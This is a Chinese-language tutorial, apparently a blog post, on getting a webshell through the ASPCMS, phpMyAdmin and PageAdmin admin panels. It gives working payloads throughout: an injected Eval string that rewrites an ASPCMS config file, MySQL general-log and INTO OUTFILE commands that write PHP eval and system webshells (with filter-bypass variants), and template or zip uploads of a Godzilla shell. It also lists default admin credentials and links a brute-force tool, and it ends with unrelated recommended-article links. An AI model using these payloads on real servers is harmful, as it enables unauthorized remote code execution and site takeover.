ASPCMS273 PhPMyadmin Pageadmin拿shell

一、ASPCMS

ASPCMS是由上谷网络开发的全新内核的开源企业建站系统,能够胜任企业多种建站需求,并且支持模版自定义、支持扩展插件等等,能够在短时间内完成企业建站。

1.后台修改配置文件拿Shell

步骤一:访问并登陆到后台(这里注意在搭建站点的时候注意权限问题)

#网站后台http://192.168.4.139/admin_aspcms/login.asp

username:admin

password:123456

2.点击【扩展功能】--》【幻灯片设置】--》点击 【保存】--》开启代理进行抓包

3.在抓取的数据包中修改 slideTextstatus 字段的值为以下代码并进行发包查看被修改的asp文件内容

#字段值

1%25><%25Eval(Request(chr(65)))25><%25 密码是a

#影响文件

/config/AspCms_Config.asp

4.访问以下地址进行连接.

http://192.168.233.141:81/config/AspCms_Config.asp

二、PhPMyadmin

1.通过日志文件拿Shell

利用mysql日志文件写shell,这个日志可以在mysql里改变它的存放位置,登录phpmyadmin可以修改这个存放位置,并且可以修改它的后缀名。所以可以修改成php的后缀名就能获取一个webshell。

show global variables like '%general%';

set global general_log='on'; //⽇志保存状态开启;

set global general_log_file = 'D:/phpstudy_pro/WWW/mafa.php' //修 改⽇志的保存位置。

show global variables like '%general%';

select '<?php eval($_POST"admin");?>';

bypass:

select+'<?php+phpinfo();+?>'

select+'<?php+//%0Aphpinfo();+?>'

2.导入导出拿WebShell

1.⾸先判断mysql位置

select @@datadir

路径:D:\phpstudy_pro\Extensions\MySQL5.7.26\data\

2.猜测web路径 猜测web路径:

D:\phpstudy_pro\\www

D:\phpstudy_pro\\WWW\web.php

3.写webshell

select "<?php eval($_POSTa);?>" into outfile 'D:/phpstudy_pro/www/b.php';

select "<?php+//%0Aeval($_POSTa);?>" into outfile 'D:/phpstudy_pro/www/b.php';

select "<?php system($_GETa);?>" into outfile 'D:/phpstudy_pro/PHPTutorial/www/d.php';

4.浏览器

http://192.168.2.8/d.php?a=dir ..\ select "?php phpinfo();eval($_POSTa);?>" into outfile 'C:\phpStudy\WWW \web.php';

备注:/

不要⽤\,如⾥要⽤\\(转义)

3.界⾯图像化GetShell

如果过滤了 into outfile 第⼀种的图形化操作

复制代码
phpmyadmin管理台
变量:⽇志 搜索:gen
log:on
file:C:\phpStudy\PHPTutorial\www\c.php
sql:
select "<?php eval($_POST[a]);?>";

GitHub - MzzdToT/phpmyadmin_fuzz: phpmyadmin批量弱口令爆破。

三、Pageadmin

PageAdmin CMS系统是基于.Net的⽹站管理系统,安全、稳定、灵活,全国⽤户超过百万,致⼒于为 企业、学校、政府⽹站建设和⽹站制作提供企业级内容管理系统解决⽅案。

姿势⼀:上传模块拿WebShell

在pageadmin后台可以上传模板,把webshell打包成zip上传模板,系统会⾃动解压,成功会 在后台存在后⻔,访问即可获取webshell 。

步骤⼀:访问 pageadmin 在后台可以上传模板,把webshell打包成zip上传模板,系统会⾃动解压, 成功会在后台存在后⻔,访问即可获取webshell 。 点击【应⽤】--》【 插件安装】--》【 上传⽂件

复制代码
这⾥因为不是授权版本,⽆法上传,如果有授权版本的话就可以成功上传,上传后系统会⾃动解压,直
接访问shell地址就可以了:/Templates/shell/shell.aspx

姿势⼆:上传⽂件解压拿WebShell

点击【⼯具】--》 【⽂件管理】--》 【功能菜单】 --》【上传⽂件】--》 【解压】

文件上传哥斯拉生成的

getshell

相关推荐
LDR0063 小时前
Type-C 快充全面升级!LDR6601 赋能个人护理便携电机,重塑剃须刀 / 理发器新体验
c语言·开发语言
雪碧聊技术3 小时前
Tree.js是什么?一文讲透
开发语言·javascript·ecmascript
码云数智-园园3 小时前
C++20 Modules 模块详解
java·开发语言·spring
swordbob4 小时前
NIO的channel中什么是 fd(File Descriptor,文件描述符)
java·开发语言·nio
源分享4 小时前
Java线程同步的多种实现方法(非常详细)
java·开发语言·jvm
Luminous.4 小时前
C语言--day30
c语言·开发语言
何以解忧,唯有..5 小时前
Go语言循环语句详解:for、range与循环控制
开发语言·算法·golang
謓泽5 小时前
C语言不是语法,是通往机器的地图。
c语言·开发语言
云水一下5 小时前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
飞天狗1115 小时前
零基础JavaWeb入门——第五课第二小节:九大内置对象 · 第2个:response(响应对象)
java·开发语言